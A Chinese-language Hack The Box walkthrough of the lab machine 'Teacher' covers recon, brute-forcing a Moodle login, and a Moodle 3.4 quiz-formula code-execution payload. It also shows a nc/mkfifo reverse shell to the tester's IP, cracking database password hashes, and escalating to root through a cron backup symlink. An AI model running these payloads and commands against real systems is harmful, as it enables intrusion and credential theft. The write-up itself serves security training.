【HTB系列】靶机Teacher的渗透测试详解 – 作者:shuteer

作者:是大方子(Ms08067实验室核心)

1614265449_6037bc69e0b2abce0c169.png!small?1614265450471

Kali: 10.10.14.50

靶机地址:10.10.10.153

先用nmap 对靶机进行扫描

| nmap -sC -sV -sT 10.10.10.153 |

1614265470_6037bc7ea860e64a53382.png!small?1614265470963

只开启了80端口,网页内容如下

1614265478_6037bc863e7e92bb4ab48.png!small?1614265479440

一个静态的网页,还有一些其他的页面Courses,Students等等

检查下网页的源代码,在GALLERY页面发现一个奇怪的点

1614265490_6037bc92e6947196f805d.png!small?1614265491495

第一个img元素多了一个onerror错误事件,意思是加载错误时在控制台输出(That‘s an F)

1614265497_6037bc99e128ffced34ca.png!small?1614265499118

然后其他的img图片都是能正常打开唯独第一个是无法打开的

1614265505_6037bca19f5d1e21862ee.png!small?1614265505776

那么可能这个图片里面藏着什么东西,用curl下载来看看

| curl http://10.10.10.153/images/5.png -o image.png |

下载过来的文件是打不开的,可能它是损坏的或者它就不是一个图片

我们用file+cat命令查看文件类型以及文件里面的内容

1614265514_6037bcaa432c56954988b.png!small?1614265514479

他的意思是忘记了密码的最后一位,让我们弄清楚密码或者是去重置密码

我们用gobuster对网页的目录进行爆破处理

| gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50 |

1614265530_6037bcba9f33d7cdddeeb.png!small?1614265530769

/phpMyAdmin

1614265537_6037bcc1d4c46df0defd9.png!small?1614265537983

/moodle

1614265545_6037bcc981077eb311061.png!small?1614265545643

PhpMyAdmin被拦截无法访问,然后moodle是正常可以访问的

Moddle有个登陆页面

1614265553_6037bcd12431a7ad3d67a.png!small?1614265553104

帐户密码可能就是刚刚提示所说的

帐户:Giovanni

然后密码的最后一位我们需要去猜解

我们用burp的intruder模块进行暴力猜解

加载一下两个字典(数字+大小写字母+特殊字符)

/usr/share/SecLists/Fuzzing/alphanum-case.txt

/usr/share/SecLists/Fuzzing/special-chars.txt

1614265560_6037bcd818880857eaf55.png!small?1614265560371

根据响应长度的不同,找出了最后一位的密码位#

正确的帐户和密码如下:

Username:Giovanni

Password:Th4C00lTheacha#

1614265574_6037bce66b3285d60f312.png!small?1614265574568

我们需要查看下moodle的版本,然后找对应的EXP

可以找到任意网页下面的(Moodle Docs for this page),查看他跳转的url根据url参数看出它是什么版本的

1614265590_6037bcf622b42789f5d5c.png!small?1614265590418

1614265595_6037bcfb17e7dd5495962.png!small?1614265595208

所以这个版本是3.4版本的,然后我们去google查找3.4版本的漏洞

漏洞文章:https://blog.ripstech.com/2018/moodle-remote-code-execution/

我们可以利用quiz进行代码执行

打开编辑模式

1614265601_6037bd016dc1c1a706d2d.png!small?1614265601522

任选一个TOP创建一个活动

1614265612_6037bd0cee41a3689e5ba.png!small?1614265613056

点击quiz

1614265607_6037bd07ae05b8b984a32.png!small?1614265607809

输入内容,然后点击(Save and display)

1614265621_6037bd1527f77a4bac953.png!small?1614265621218

然后我们点击 edit quiz

并添加一个新问题。问题类型将是Calculated

1614265628_6037bd1c48308f82e5867.png!small?1614265628454

然后信息随便填写

1614265634_6037bd22ce9aac0455b35.png!small?1614265634814

在answers填入(这个在这其实并不适用)

| /*{a*/`$_REQUEST[sdfz]`;//{x}}`; |

1614265640_6037bd284ed9d1756daab.png!small

在实际运用的过程中还是会需要修改下payload的

1614265659_6037bd3b75806ecbcf2e2.png!small?1614265659485

经过2次的修改最终的payload为

| /*{a*/`$_REQUEST[sdfz]`;//{x}} |

成功后就来到这个页面

1614265688_6037bd580091d6d99c537.png!small?1614265688261

我们将点击Next Page访问页面:

1614265697_6037bd612aec18e90f571.png!small?1614265697344

如果能正常显示说明payload没有问题

我们用kali监听1337

然后在页面后面添加如下url并访问

| &sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f |

1614265722_6037bd7ac1592fa9ed2f5.png!small?1614265723160

然后得到shell

1614265737_6037bd898da958620f130.png!small?1614265737733

尝试切换到用户目录发现不允许

1614265743_6037bd8f034f742e3a824.png!small?1614265743155

所以我们需要找到用户的shell

然后我就返回moodle目录查找有没有可用线索,发现config.php配置文件

1614265748_6037bd9438d5b8d2cf10c.png!small?1614265748359

我们通过mysql -u root -p进行登陆,但是发现不能连续性执行sql语句,shell交互性很差

1614265760_6037bda079c5f29f8465e.png!small?1614265760767

我们通过python来建立起一个shell

| python -c ‘import pty;pty.spawn(“/bin/bash”)’ |

1614265765_6037bda5111e53c4fa062.png!small?1614265765321

执行下面2句sql:

use moodle;

select username,password from mdl_user;

1614265770_6037bdaac9452010dac4b.png!small?1614265770912

前3个就是被混淆过可能无法破解,我们看下第4个的长度

| echo -n 7a860966115182402ed06375cf0a22af | wc -c |

1614265777_6037bdb134e721553e4a8.png!small?1614265777349

发现是32位,应该是MD5加密

破解下

1614265784_6037bdb8c33eced1f65a0.png!small?1614265784897

也可以到这个网站破解:https://crackstation.net/

1614265789_6037bdbddaa644eb2d77b.png!small?1614265790028

帐户:Giovannibak(这个帐户其实是不对的)

密码:expelled

然后我们切换过去

1614265796_6037bdc43e1008aaced47.png!small?1614265796333

发现这个用户有问题应该是不存在的,后来看到bak可能是备用的用户,我们查下/etc/passwd

1614265801_6037bdc98423b6a3dbe80.png!small?1614265801814

帐户:giovanni

密码:expelled

1614265806_6037bdce0530fc1da6a8b.png!small?1614265806051

得到user flag

1614265810_6037bdd272e9bbc50d67c.png!small?1614265810583

接下来就是获得root权限,经过各种查找

在giovanni的work目录下发现一个,应该是任务计划数据备份的留下的线索

1614265828_6037bde40b8e89762cfa3.png!small?1614265828336

然后我看了下计划任务

1614265833_6037bde9317dc1142c95c.png!small?1614265833549

有的目录不能访问,有的就是各种调用,这里我用一个就是进程过程监控工具,我只要看它到时候调用了什么脚本生成备份数据

项目地址:https://github.com/DominicBreuker/pspy/releases

直接下这个已经编译好的二进制

先看下靶机的系统

1614265855_6037bdff2bf6ae75b4505.png!small?1614265855191

这里我就直接下这个

1614265858_6037be02946d30a507fb2.png!small?1614265858660

接下来就是常规操作,本地用python的SimpleHTTPServer模块开启HTTP服务,然后靶机用wget远程下载pspy,这里我们把pspy下载到靶机的/dev/shm目录

1614265864_6037be08664cf2f6bae02.png!small?1614265865434

然后chmod +x 并执行

1614265871_6037be0fd1a9b37944796.png!small?1614265872485

这里很明显切换了root身份开始了任务计划,同时我们也看到了/usr/bin/backup.sh这个脚本,我们可以通过它得到root shell,但是发现我们只有执行的权限并没有编辑权限

1614265876_6037be14b8ff26f66fa80.png!small?1614265879779

查看下文件的内容

1614265879_6037be17a74c4a6a5f6fb.png!small?1614265879780

它压缩/home/giovanni/work/courses目录中的所有东西,在切换到tmp目录把压缩包解压到tmp目录中去。利用这个特性,我们rm -r 删除原始的courses目录,并创建root目录的软连接即ln -s /root courses

这样脚本再次进行数据备份的时候会把root目录下的东西解压缩到tmp目录,然后我们直接cat root flag即可

1614265884_6037be1c9a18eddce2553.png!small?1614265885002

1614265888_6037be20c7ae4373324f6.png!small?1614265888992
MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

来源:freebuf.com 2021-02-25 23:13:58 by: shuteer

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论